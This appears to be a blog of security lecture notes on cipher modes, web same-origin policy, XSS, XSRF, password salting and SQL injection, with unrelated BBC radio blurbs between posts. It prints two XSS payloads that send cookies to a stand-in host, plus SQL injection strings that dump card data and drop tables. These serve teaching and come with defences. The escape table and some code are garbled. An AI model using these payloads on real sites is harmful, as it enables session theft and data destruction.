Πέμπτη 27 Μαρτίου 2014

Using Block Ciphers

a. Incorrect use of block ciphers

 - In pictures

b. Eavesdropping security: CBC mode

c. Use cases: how to choose an IV
 - Single use key: no IV needed (IV = 0)
 - Multi use key: use a fresh random IV for every message
 - In pictures

d. Eavesdropping security: CTR mode

e. Performance

f. Warning
 - Eavesdropping security is insufficient for most applications
 - Needs also to defend against active attacks
 - CBC and CTR modes are insecure against active attacks

Secret Science - BBC Archives

Robin Ince and Brian Cox are joined on stage by comedian Dave Gorman, author and Enigma Machine owner Simon Singh and Bletchley Park enthusiast Dr Sue Black as they discuss secret science, code-breaking and the extraordinary achievements of the team working at Bletchley during WWII.

Professor Brian Cox and Robin Ince are joined by Dr Sue Black and Simon Singh to find out why Britain was so keen on keeping Bletchley Park’s wartime codebreaking antics secret long after the war ended.



Block Ciphers

a. Crypto work horse

b. Built by Iteration

c. Standard Block Ciphers

The Alphabet - BBC Archives

 

Melvyn Bragg and guests discuss the feat of astonishing intellectual engineering which provides us with millions of words in hundreds of languages. At the start of the twentieth century, in the depths of an ancient Egyptian turquoise mine on the Sinai peninsular, an archaeologist called Sir Flinders Petrie made an exciting discovery. Scratched onto rocks, pots and portable items, he found scribblings of a very unexpected but strangely familiar nature. He had expected to see the complex pictorial hieroglyphic script the Egyptian establishment had used for over 1000 years, but it seemed that at this very early period, 1700 BC, the mine workers and Semitic slaves had started using a new informal system of graffiti, one which was brilliantly simple, endlessly adaptable and perfectly portable: the Alphabet. This was probably the earliest example of an alphabetic script and it bears an uncanny resemblance to our own.

Did the alphabet really spring into life almost fully formed? How did it manage to conquer three quarters of the globe? And despite its Cyrillic and Arabic variations and the myriad languages it has been used to write, why is there essentially only one alphabet anywhere in the world?

With Eleanor Robson, historian of Ancient Iraq and Fellow of All Souls College, Oxford; Alan Millard, Rankin Professor Emeritus of Hebrew and Ancient Semitic Languages at the University of Liverpool; Rosalind Thomas, Professor of Greek History at Royal Holloway, University of London.


Cryptography

a. Secure Communication

b. Secure Socket Layer / TLS
 - Standard for Internet security
 - Handshake Protocol: Establish shared secret key using public-key cryptography
 - Record Layer: Transmit data using negotiated key. Our starting point: Using a key for encryption and integrity

c. Protected files

d. Building block: sym.encryption

e. Use Cases
 - Single use key (one time key)

  • Key is only used to encrypt one message
  • Encrypted email: new key generated for every email
  • No need for nonce (set to 0)

 - Multi use key (many time key)

  • Key used to encrypt multiple messages
  • SSL: same key used to encrypt many packets
  • Need either unique nonce or random nonce

f. First Example: One Time Pad

g. Stream ciphers

h. Danger in using stream ciphers

Internet Safety Part II - BBC Archives


As part of You and Yours week-long look at internet safety, we go onto the dark web to uncover how criminals strike deals online. Also - professors use an MRI scanner to show how we struggle to spot REAL supermarket deals, and men who don't want to try too hard can find the fashion advice they need with a mouse.


Cross-Domain Security in Web Applications

I. Interaction between Web Pages from Different Domains

a. Possible interactions limited by same origin policy
 - Links, embedded frames, data inclusion across domains still possible
 - Client-side scripts can make requests cross-domain

b. HTTP & cookie authentication two common modes
 - Cached credentials associated with browser instance
 - Future requests don’t need further authentication

II. HTML, JavaScript, and the same-origin policy

a. Modern browsers use DHTML, CSS, JS
 - Support style layout through CSS
 - Behavior directives through Javascript

 - Access Document Object Model allowing reading/modifying page and responding to events

b. Origin: protocol, hostname, port, but not path

c. Same-origin policy: scripts can only access properties (cookies, DOM objects) of documents of same origin

III. HTTP Request Authentication

a. HTTP is stateless, so web apps have to associate requests with users themselves

b. HTTP authentication: username/password automatically supplied in HTTP header

c. Cookie authentication: credentials requested in form, after POST app issues session token

d. Browser returns session cookie for each request

e. Hidden-form authentication: hidden form fields transfer session token


f. HTTP & cookie authentication credentials cached

IV. Cross-Site Scripting (XSS)

a. What if attacker can get a malicious script to be executed in our application?


b. Other Sources of Untrusted Data
 - HTML form fields
 - URL path



c. XSS Exploits
 - Stealing Cookies
  • The malicious script could cause the browser to send attacker all cookies for our app’s domain
  • Gives attacker full access to Alice’s session

<script>document.location=’http://hackerhome.org/log?c=’+document.cookie;</script>
<script>new Image().src=’http://hackerhome.org/log?c=’+document.cookie;</script>

 - Scripting the Vulnerable App
  • Complex script with specific goal
  • Doesn’t have to make a direct attack, revealing his IP address, harder to trace

 - Modifying Web Pages
d. XSS Implications
 - XSS is not just about stealing cookies
 - Attacker gets to inject arbitrary script into our web application
 - Browser thinks it is coming from your application
 - XSS is a hole/backdoor that allows attacker to Control your web application

e. Reflected vs Stored XSS
 - Reflected XSS: script injected into a request and reflected immediately in response
  • As in the query parameter example

 - Stored XSS: script delivered to victim some time after being injected
  • Stored somewhere in the meantime
  • Attack is repeatable, more easily spread

 - MySpace: stored XSS Worm, October 2005
  • Propagated from one user profile page to the next via friend connections
  • Went from 1 to over 1M “infected” profiles in < 6 hours
  • MySpace went offline to fix
  • Samy Kamkar: first FBI conviction for XSS attack

 - Preventing XSS
 - Input Validation vs Output Sanitization
  • XSS is not an input validation problem
  • Strings with HTML metachars not a problem until they’re displayed on the webpage
  • Might be valid elsewhere, e.g. in a database and thus not validated later when output to HTML
  • Output Sanitization/Escaping: check strings as you insert into HTML doc – library functions exist

 - HTML Escaping
  • <  &It;
  • >  &rt;
  • “  &quot;
  • &  &amp;

IV. Types of XSS Mitigation

a. Cross-Site Request Forgery (XSRF)
 - Malicious site can initiate HTTP requests to our app on Alice behalf without her knowledge
 - Cached credentials sent to our server regardless who made the request
b. XSRF Impacts
 - Malicious site can’t read info, but can make write requests to our app.
 - No code injected into our app.
 - Who should worry about XSRF?
  • Apps with server-side state: user info, updatable profiles such as usernames/passwords (e.g. Facebook)
  • Apps that do financial transactions for users (e.g. Amazon, eBay)
  • Any app that stores user data (e.g. calendars, tasks)

c. Preventing XSRF
 - HTTP requests originating from user action are indistinguishable from those initiated by a script
 - Need methods to distinguish valid requests
  • Inspecting Referer Headers
  • Validation via User-Provided Secret
  • Validation via Action Token

d. Validation via Action Token
 - Add special action tokens as hidden fields to “genuine” forms to distinguish from forgeries
 - Same-origin policy prevents 3rd party from inspecting the form to find the token
 - Need to generate and validate tokens so that
  • Malicious 3rd party can’t guess or forge token
  • Then can use to distinguish genuine and forged forms

V. Action Tokens


a. Generating Action Tokens
 - Concatenate value of timestamp or counter c with the Message Authentication Code (MAC) of c under secret key K:
  • Token: T = MACk(c)||c
  • Security dependent on crypto algorithm for MAC
  • || denotes string concatenation, T can be parsed into individual components later
 - Recall from 1.5 MACs are function of message and secret key

b. Validating Action Tokens
 - Split token T into MAC and other components
 - Compute expected MAC for given c and check that given MAC matches
 - If MAC algorithm is secure and K is secret, 3rd party can’t create MACk(c), so can’t forge token

c. Problem with Scheme
 - Application will accept any token we’ve previously generated for a browser
 - Attacker can use our application as an oracle.
  • Uses own browser to go to page on our site with form
  • Extracts the token from hidden field in form
 - Need to also verify that incoming request has action token sent to the same browser

d. Fixing the Problem
 - Bind value of action token to a cookie
  • Same-origin policy prevents 3rd party from reading or setting our cookies
  • Use cookie to distinguish between browser instances
 - New Scheme
  • Cookie C is unpredictable, unique to  browser instance
  • C can be session authentication cookie
  • Or random 128 bits specifically for this purpose
  • L = action URL for form with action token
  • Compute T = MACk(C||d||L), d is separator (e.g. ;)
  • d ensures uniqueness of concatenation
e. Cross-Site script inclusion (XSSI)
 - 3rd party can include <script> sourced from us
 - Static script inclusion
  • Purpose is to enable code sharing, i.e providing JavaScript library for others to use
  • Including 3rd-party script dangerous without control since it runs in our context with full access to client data
 - Script inclusion vulnerability
  • Instead of traditional postback of new HTML doc, asynchronous requests (AJAX) used to fetch data
  • Data exchanged via XML or JSON (arrays, dicts)

f. Preventing XSSI
 - Can’t stop others from loading our resources
 - Similar problem with preventing XSRF
 - Need to distinguish 3rd party references from legitimate ones, so we can deny the former
 - Authentication via Action Token

Δευτέρα 17 Μαρτίου 2014

Internet Safety Part I - BBC Archives


How much do we know about our children's online lives? Just under half of all teenagers have smartphones according to OFCOM. So how do we manage what they look at? The NSPCC has warned abuse via the internet and mobile phones is one of the biggest child protections issues facing children today. So how do we protect them? As part of the BBC's coverage of Safer Internet Day we'll be joined by a panel of experts, a live studio audience and children from schools in the North East. We'll hear stories of children affected, what charities are doing to help and who is taking responsibility.


Κυριακή 9 Μαρτίου 2014

Password Security

I. A Strawman Proposal

a. Basic password system: file w/ username, password records (colon delimiter)

b. Simple to implement but risky

 - All users compromised if hacker get the password file
 - Done in Java: MiniPasswordManager

c. MiniPasswordManager

Public class MiniPasswordManager {
/** dUserMap is a Hashtable keyed by username */
private static Hashtable dUserMap;
/** location of the password file on disk */
private static String dPwdFile;
public static void add (String username, String password) throws Exception {
dUserMap.put(username, password);
}
Public static Boolean checkPassword(String username, String password) {
try { String t = (String) dUserMap.get(username);
return (t == null) ? false: t.equals(password);
} catch (Exception e) {}
return false;
}

}

d. MPM: File Management

public class MiniPasswordManager {

/* Password file management operations follow */
public static void init (String pwdFile) throws Exception {
dUserMap = MiniPasswordFile.load(pwdFile);
dPwdFile = pwdFile;
}
public static void flush() throws Exception {
MiniPasswordFile.store (dPwdFile, dUserMap);
}
… // main()
}

e. MPM: main()

Public static void main(String argv[]) {
String pwdFile = null;
String username = null;
try {
pwdFile = argv[0];
username = argv[1];
init(pwdFile);
System.out.print(“Enter new password for “ + username + “: “);
BufferedReader br = new BufferedReader (new InputStreamReader(System.in));
String password = br.readLine();
add(username, password);
flush();
} catch (Exception e) {
If ((pwdFile != null) && (username != null)) {
System.err.println(“Error: Could not read or write “ + pwdFile);
} else { System.err.println(“Usage: java MinipasswordManager” + “<pwdfile> <username>”); }
}
}

II. Hashing

a. Encrypt passwords, don’t store “in the clear”
 - Could decrypt (e.g DES) to check, key storage
 - Even better: “one-way encryption”, no way to decrypt
 - If file stolen, passwords not compromised
 - Use one-way hash function, h: preimage resistant
 - Ex: SHA-256 hashes stored in file, not plaintext password

b. Hashing Example

c. Hashing MPM Modifications

public static void add (String username, String password) throws Exception {
dUserMap.put(username, computeSHA(password));
}
public static Boolean checkPassword(String username, String password) {
try { String t = (String) dUserMap.get(username);
return (t == null)?false:t.equals(computeSHA(password));
} catch (Exception e) {}
return false;
}

private static String computeSHA (String preimage) throws Exception {
MessageDigest md = MessageDigest.getInstance(“SHA-256”);
md.update(preimage.getBytes(“UTF-8));
byte raw[] = md.digest();
return (new sun.misc.BASE64Encoder().encode(raw));
}

III. Off-line Dictionary Attacks

IV. Salting

a. Salting – include additional info in hash
b. Add third field to file storing random #(salt)
c. Salting Functions

public static int chooseNewSalt() throws NoSuchAlgorithmException {
return getSecureRandom((int)Math.pow(2,12));
}
/* Returns a cryptographically random number in the range [0, max) */
private static int getSecureRandom(int max) throws NoSuchAlgorithmException {
SecureRandom sr = SecureRandom.getInstance(“SHA1PRNG”);
Return Math.abs(sr.nextInt())%max;
}
public static String getSaltedHash (String pwd, int salt) throws Exception {
return computeSHA(pwd + “|” + salt);
}
d. Salting in MPM
/* Chooses a salt for the user, computes the salted hash of the user’s password, and adds a new entry into the userMap hashtable for the user */
public static void add(String username, String password) throws Exception {
int salt = chooseNewSalt();
HashedPasswordTuple ur = new HashedPasswordTuple(getSaltedHash(password, salt), salt);’
dUserMap.put(username, ur);
}
public static Boolean checkPassword(String username, String password) {
try { HashedPasswordTuple t = (HashedPasswordTuple) dUserMap.get(username);
return (t== null)?false: t.getHashedPassword().equals(getSaltedHash(password, t.getSalt()));
} catch (Exception e) {}
return false;
}

e. Salting: Good News

 - Dictionary attack against arbitrary user is harder
 - N-word dictionary, k-bit salts, v distinct salts
 - Off-line Dictionary Attack Foiled


g. Salting: Bad News

 - Ineffective against chosen-victim attack
 - Attacker’s job harder, not impossible

SQL Injection

I. SQL Injection Impact in the Real World

a. CardSystems, credit card payment processing

b. Ruined by SQL Injection attack in June 2005

c. 263.000 credit card #s stolen from its DB

d. #s stored unencrypted, 40 milion exposed

II. Attack Scenario

a. Pizza Site Reviewing Orders


b. Η εφαρμογή παράγει ένα SQL query από την παράμετρο

sql_query = “SELECT pizza, toppings, quantity, order_day “ + “FROM orders “ + “WHERE userid=” + session.getCurrentUserId() + “ “ + “AND order_month” + request.getParameter(“month”);

SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10

Attack: inputs 0 OR 1=1
Goes to encoded URL: (space -> %20, =->%3D)
https://www.deliver-me-pizza.com/show_orders?month=0%20OR%201%3D1

c. Malicious Query

SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1

Όπου η συνθήκη είναι πάντα true.

d. More damaging attack

O hacker θέτει month = 0 AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards

Το query τώρα είναι:
SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards

O hacker μπορεί να συνδιάσει 2 queries: empty table (where fails), credit card #s of all users

e. Ever worse, attacker sets

month=0;
DROP TABLE creditcards;

Then DB executes:
SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0;
DROP TABLE creditcards;

Removes creditcards from schema, future orders fail (DoS)

III. Solutions

a. Why Blacklisting does not work

 - Eliminating quotes enough (blacklist them)
Sql_query = “SELECT pizza, toppings, quantity, order_day” + “FROM orders “ + “WHERE userid=” + session.getCurrentUserId() + “ “ + “AND topping LIKE ‘kill_quotes(request.getParameter (“topping”)) + “%’”;
 - kill_quotes (Java) remove single quotes
String kill_quotes(String str) {
StringBuffer result = new StringBuffer(str.length());
For (int I = 0; i < str.length(); i++) {
If (str.charAt(i) != ‘\’ )
result.append(str.charAt(i));
       }
return result.toString();
}

b. Pitfalls of Blacklisting

 - Filter quotes, semicolons, whitespace, and …?
  • Could always miss a dangerous character
  • Blacklisting not comprehensive solution
  • kill_quotes() can’t prevent attacks against numeric parameters
  • May conflict with functional requirements (e.g O’Brien)

c. Whitelisting-Based Input Validation

Whitelisting – only allow input within well-defined set of safe values

d. Escaping

 - Could escape quotes instead of blacklisting
 - Like kill_quotes only works for string inputs
 - Numeric parameters could still be vulnerable

e. Second Order SQL Injection

f. Prepared statements & Bind Variables

 - Metachars provide distinction between data & control in queries
  • Most attacks: data interpreted as control
  • Alters the semantics of a query

 - Bind variables: ? placeholders guaranteed to be data
 - Prepared statements allow creation of static queries with bind varialbes
  • Preserves the structure of intended query
  • Parameters not involved in query parsing/compiling

g. Java Prepared Statements

PreparedStatement ps = db.prepareStatement(“SELECT pizza, toppings, quantity, order_day” + “FROM orders WHERE userid=? AND order_month=?”);
Ps.setInt(1, session.getCurrentUserId());
Ps.setInt(2, Integer.parseInt(request.getParameters(“month”)));
ResultSet res = ps.executeQuery()

Query parsed without parameters, bind variables are type: input mstu be of expected type.

h. PHP Prepared Statements

$ps = @db->prepare(‘SELECT pizza, toppings, quantity, order_day ‘. ‘FROM orders WHERE userid=? AND order_month=?’);
$ps->execute(array($current_user_id, $month));

No explicit typing of parameters like in Java, have separate module for DB access.

i. SQL Stored Procedures

Stored procedure: sequence of SQL statements executing on specified inputs.

j. Mitigating the Impact of SQL Injection Attacks

 - Prevent Schema & Information Leaks
 - Limit Privileges 
 - Encrypt Sensitive Data stored in Database
 - Harden DB Server and Host O/S

k. Prevent Schema & Information Leaks

 - Knowing database schema makes attacker’s job easier
 - Blind SQL Injection: attacker attempts to interrogate system to figure out schema
 - Prevent leakages of schema information
 - Don’t display detailed error messages and stack traces to external users

l. Limiting Privileges

 - Apply Principle of Least Privilige
  • Read access, tables/views user can query
  • Commands

 - No more privileges than typical user needs

m. Encrypting Sensitive Data

 - Encrypt data stored in the database
 - Key management precautions: don’t store key in DB, attacker just SQL injects again to get it
 - Some databases allow automatic encryption but these still return plaintext queries

n. Hardening DB Server and Host O/S

 - Dangerous functions could be on by default
 - Microsoft SQL Server allows users to open inbound/outbound sockets, attacker could steal data, upload binaries, port scan victim’s network